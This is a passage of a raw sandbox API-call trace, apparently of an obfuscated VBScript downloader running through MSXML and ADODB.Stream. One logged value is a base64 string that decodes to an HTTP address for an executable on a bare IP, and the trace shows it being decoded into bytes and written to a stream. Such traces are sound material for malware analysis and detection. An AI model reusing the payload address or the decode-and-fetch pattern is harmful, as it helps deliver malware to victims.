This=0x555430, id=24, lcid=0x409, wFlags=0x4, pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1="aHR0UDovLzEzLjkyLjEwMC4yMDgvZG9jL2RvYy5leGU=", varVal2=0x0)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1="aHR0UDovLzEzLjkyLjEwMC4yMDgvZG9jL2RvYy5leGU=", varVal2=0x0)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0089.114] DOMDocument:IUnknown:Release (This=0x555430) returned 0x2 [0089.114] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0089.114] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154828 | out: ppvObject=0x154828*=0x555430) returned 0x0 [0089.114] DOMDocument:IDispatchEx:GetDispId (in: This=0x555430, bstrName="NodeTypedValue", grfdex=0x8, pid=0x154844 | out: pid=0x154844*=25) returned 0x0 [0089.115] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0089.126] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0089.126] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154830 | out: ppvObject=0x154830*=0x555430) returned 0x0 [0089.127] DOMDocument:IDispatchEx:InvokeEx (in: This=0x555430, id=25, lcid=0x409, wFlags=0x3, pdp=0x1547fc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718, pei=0x1547d8, pspCaller=0x846d2a8 | out: pdp=0x1547fc*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b079a8*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6d04118*, rgsabound=((cElements=0x20, lLbound=0))), varVal2=0x0), pei=0x1547d8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0089.127] DOMDocument:IUnknown:Release (This=0x555430) returned 0x2 [0089.127] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0089.127] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0089.127] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.128] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lfkfdiooie", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.128] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lfkfdiooie", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.128] GetCurrentThreadId () returned 0xd44 [0089.128] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.128] ??2@YAPAXI@Z () returned 0x11c1f68 [0089.128] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 5 [0089.128] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x6d03b7c, cchDest=5 | out: lpDestStr="utf-8") returned 5 [0089.128] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.129] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vgct783hth", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.129] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vgct783hth", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.129] GetCurrentThreadId () returned 0xd44 [0089.129] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.129] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.129] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="piiing", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.129] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="piiing", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.129] GetCurrentThreadId () returned 0xd44 [0089.129] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.129] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.129] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ldiwuywfj", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.129] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ldiwuywfj", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.130] GetCurrentThreadId () returned 0xd44 [0089.130] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.130] malloc (_Size=0x204) returned 0x844c5d0 [0089.130] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.130] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.130] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.130] GetCurrentThreadId () returned 0xd44 [0089.131] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.131] ??2@YAPAXI@Z () returned 0x86bfeb0 [0089.131] malloc (_Size=0x804) returned 0x83fc220 [0089.131] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0089.131] _wcsicmp (_String1="aaax", _String2="BytesToStr") returned -1 [0089.131] CLSIDFromProgIDEx (in: lpszProgID="ADODB.Stream", lpclsid=0x154268 | out: lpclsid=0x154268*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4))) returned 0x0 [0089.131] SysStringLen (param_1=0x0) returned 0x0 [0089.131] CoGetClassObject (in: rclsid=0x154268*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x154258 | out: ppv=0x154258*=0x962b2d0) returned 0x0 [0089.132] Stream:IUnknown:QueryInterface (in: This=0x962b2d0, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154254 | out: ppvObject=0x154254*=0x0) returned 0x80004002 [0089.132] Stream:IClassFactory:CreateInstance (in: This=0x962b2d0, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15425c | out: ppvObject=0x15425c*=0x962b320) returned 0x0 [0089.132] Stream:IUnknown:Release (This=0x962b2d0) returned 0x1 [0089.132] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154220 | out: ppvObject=0x154220*=0x962b350) returned 0x0 [0089.132] ??2@YAPAXI@Z () returned 0x1112b18 [0089.132] Stream:IObjectWithSite:SetSite (This=0x962b350, pUnkSite=0x1112b18) returned 0x0 [0089.132] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154168 | out: ppvObject=0x154168*=0x0) returned 0x80004002 [0089.132] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154158 | out: ppvObject=0x154158*=0x0) returned 0x80004002 [0089.132] DOMDocument:IUnknown:AddRef (This=0x1112b18) returned 0x2 [0089.132] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x66853000*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1541b8 | out: ppvObject=0x1541b8*=0x0) returned 0x80004002 [0089.132] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1541b4 | out: ppvObject=0x1541b4*=0x1112b18) returned 0x0 [0089.132] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x1541dc | out: ppvObject=0x1541dc*=0x0) returned 0x80004002 [0089.132] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154190 | out: ppvObject=0x154190*=0x83fd368) returned 0x0 [0089.132] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15418c | out: ppvObject=0x15418c*=0x83fd378) returned 0x0 [0089.132] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x1541dc | out: ppvObject=0x1541dc*=0x0) returned 0x80004002 [0089.133] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.133] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.133] DOMDocument:IUnknown:Release (This=0x1112b18) returned 0x2 [0089.133] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1541bc | out: ppvObject=0x1541bc*=0x1112b18) returned 0x0 [0089.133] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x1541b0 | out: ppvObject=0x1541b0*=0x0) returned 0x80004002 [0089.133] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154188 | out: ppvObject=0x154188*=0x83fd368) returned 0x0 [0089.133] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154184 | out: ppvObject=0x154184*=0x83fd378) returned 0x0 [0089.133] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x1541b0 | out: ppvObject=0x1541b0*=0x0) returned 0x80004002 [0089.133] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.133] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.133] DOMDocument:IUnknown:Release (This=0x1112b18) returned 0x2 [0089.133] Stream:IUnknown:Release (This=0x962b350) returned 0x1 [0089.133] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154210 | out: ppvObject=0x154210*=0x962b320) returned 0x0 [0089.133] Stream:IUnknown:AddRef (This=0x962b320) returned 0x3 [0089.133] Stream:IUnknown:Release (This=0x962b320) returned 0x2 [0089.133] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0089.133] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0089.134] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x0 [0089.134] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0089.134] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.134] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.134] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="veiowgyuwrehteb", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.134] GetCurrentThreadId () returned 0xd44 [0089.134] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.134] ??2@YAPAXI@Z () returned 0x86bfeb0 [0089.135] malloc (_Size=0x804) returned 0x83fc220 [0089.135] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0089.135] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0089.135] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0089.135] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Type", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=4) returned 0x0 [0089.135] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0089.135] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0089.135] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=4, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x4, pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d66a8*(varType=0x2, wReserved1=0x847, wReserved2=0x4, wReserved3=0x0, varVal1=0x11c0001, varVal2=0x470e)), rgdispidNamedArgs=([0]=0x1542c8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0089.135] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0089.135] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.136] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="svksovosrgh", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.136] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="svksovosrgh", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.136] GetCurrentThreadId () returned 0xd44 [0089.136] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.136] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.136] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.136] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="dlwlksfslgslg", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.136] GetCurrentThreadId () returned 0xd44 [0089.136] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.136] ??2@YAPAXI@Z () returned 0x86bfeb0 [0089.137] malloc (_Size=0x804) returned 0x83fc220 [0089.137] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0089.137] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0089.137] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0089.137] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="Open", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=10) returned 0x0 [0089.137] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0089.137] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0089.137] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=10, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x1542ec*=0x962b320) returned 0x0 [0089.137] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0089.137] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154520 | out: ppvObject=0x154520*=0x11977a8) returned 0x0 [0089.138] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ivrejk", grfdex=0x8, pid=0x15453c | out: pid=0x15453c*=1394072) returned 0x80020006 [0089.138] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ivrejk", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=-1) returned 0x80020006 [0089.138] GetCurrentThreadId () returned 0xd44 [0089.138] IUnknown:Release (This=0x11977a8) returned 0x8 [0089.138] malloc (_Size=0x404) returned 0x86ea2e0 [0089.139] ??2@YAPAXI@Z () returned 0x86bfeb0 [0089.139] malloc (_Size=0x804) returned 0x83fc220 [0089.139] IUnknown:AddRef (This=0x11977a8) returned 0x9 [0089.139] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0089.139] _wcsicmp (_String1="byteArray", _String2="BytesToStr") returned -18 [0089.139] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1542f8 | out: ppvObject=0x1542f8*=0x0) returned 0x80004002 [0089.139] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x1542fc*="write", cNames=0x1, lcid=0x409, rgDispId=0x154314 | out: rgDispId=0x154314*=13) returned 0x0 [0089.139] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0089.139] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154300 | out: ppvObject=0x154300*=0x0) returned 0x80004002 [0089.139] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=13, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x1542cc*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0x847, wReserved2=0xd8b0, wReserved3=0x847, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b079a8*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6d04118*, rgsabound=((cElements=0x20, lLbound=0))), varVal2=0x0), varVal2=0x847d948)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x1542a8, puArgErr=0x1542ec | out: pDispParams=0x1542cc*(rgvarg=([0]=0x83d6698*(varType=0x400c, wReserved1=0x847, wReserved2=0xd8b0, wReserved3=0x847, varVal1=0x83d6718*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b079a8*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6d04118*, rgsabound=((cElements=0x20, lLbound=0))), varVal2=0x0), varVal2=0x847d948)), rgdispidNamedArgs=0x0, cArgs=0x1, 